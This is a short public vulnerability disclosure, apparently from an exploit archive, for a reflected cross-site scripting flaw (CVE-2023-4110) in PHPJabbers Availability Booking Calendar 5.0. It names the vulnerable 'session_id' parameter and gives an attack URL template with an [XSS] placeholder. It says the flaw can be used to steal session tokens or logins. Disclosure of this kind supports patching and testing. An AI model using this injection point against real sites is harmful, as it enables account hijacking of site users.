# Exploit Title: PHPJabbers Availability Booking Calendar 5.0 - Reflected XSS # Exploit Author: CraCkEr # Date: 20/07/2023 # Vendor: PHPJabbers # Vendor Homepage: https://www.phpjabbers.com/ # Software Link: https://www.phpjabbers.com/availability-booking-calendar/ # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site # CVE: CVE-2023-4110 ## Greetings The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka CryptoJob (Twitter) twitter.com/0x0CryptoJob ## Description The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials Path: /index.php GET parameter 'session_id' is vulnerable to RXSS https://website/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=[XSS]&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0 [-] Done